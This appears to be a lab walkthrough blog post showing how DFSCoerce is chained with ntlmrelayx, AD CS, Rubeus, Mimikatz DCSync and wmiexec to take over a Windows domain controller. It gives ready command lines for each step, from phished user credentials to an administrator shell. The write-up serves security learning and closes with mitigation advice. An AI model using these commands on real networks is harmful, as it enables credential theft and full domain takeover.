Last year, vulnerabilities were discovered in Windows which – using Microsoft’s Encrypting File System Remote Protocol (MS-EFSR) – allowed exploitation via Active Directory Certificate Services (AD CS). Whilst Microsoft provided patches which prevented the original PetitPotam attack, another called ShadowCoerce used a different endpoint and allowed a similar route to full admin rights. Recently yet another endpoint was discovered that can by coerced into authenticating to a host we control.
DFSCoerce targets the Distributed File System in Windows to coerce authentication, but DFS need not even be running on the domain as far as I can tell. In the following example I gain full domain access and a shell on the DC.
The tools we’re using today are:
- DFSCoerce – this is the new tool we’re trying out
- Impacket’s ntlmrelayx
- Rubeus
- Mimikatz
- wmiexec
For this attack to work, the domain must have an AD CS server somewhere running the Certificate Enrollment Web Service. In our lab setup we have a Domain Controller (dc.trurolabs.local) and an ADCS box (ca.trurolabs.local). I’ve also got a domain joined Windows 10 machine which we’ll use later.
We start off by running ntlmrelayx which is going to help us relay the authentication request from the AD CS server on to the domain controller, and then reply with the authentication response it receives. We can then capture the base64 certificate of the DC$ account that the AD CS server sends.
impacket-ntlmrelayx -t http://ca/certsrv/certrqus.asp -smb2support --adcs --template DomainController
Then to perform the attack we run dfscoerce with standard user credentials – which we may have captured by Phishing for example. The syntax for this POC is:
dfscoerce.py -u <user> -p <password> -d <domain> <ntrelayx listener ip> <dc ip>
On running this we do indeed get a response back:
Next using a Windows machine we can use the certificate with Rubeus to get a TGT ticket.
rubeus.exe asktgt /user:DC$ /ptt /certificate:<cert goes here>We’re going to use the /ptt switch so that the ticket gets cached for us. It makes things a lot simpler.
Now we have the ticket for DC$ account we’re in a position to do pretty much whatever we like. We could get a golden ticket, which would afford us some decent persistence in the domain. Or we could get the the Administrator hash from the DC – which is what we’ll do here with Mimikatz. As we have cached credentials, all we need to do is run the program. Then we will run the following:
lsadump::dcsync /domain:trurolabs.local /user:AdministratorThis will use DCSync to dump the NTLM hash of the Administrator account.
Whilst we could crack the password with John The Ripper if we liked, what’s even better is just to use the hash “as is” to give us a shell on the DC. In the example below I’m using wmiexec.py.
wmiexec.py -hashes <hash> <user>@<ip>
And with that the domain is ours. Of course, if we’d chosen to, we could have used evil-winrm for this, or any number of tools.
The mitigations Microsoft have suggested for the earlier attacks will help prevent this attack from succeeding. I’d recommend these are implemented as soon as possible if you haven’t already.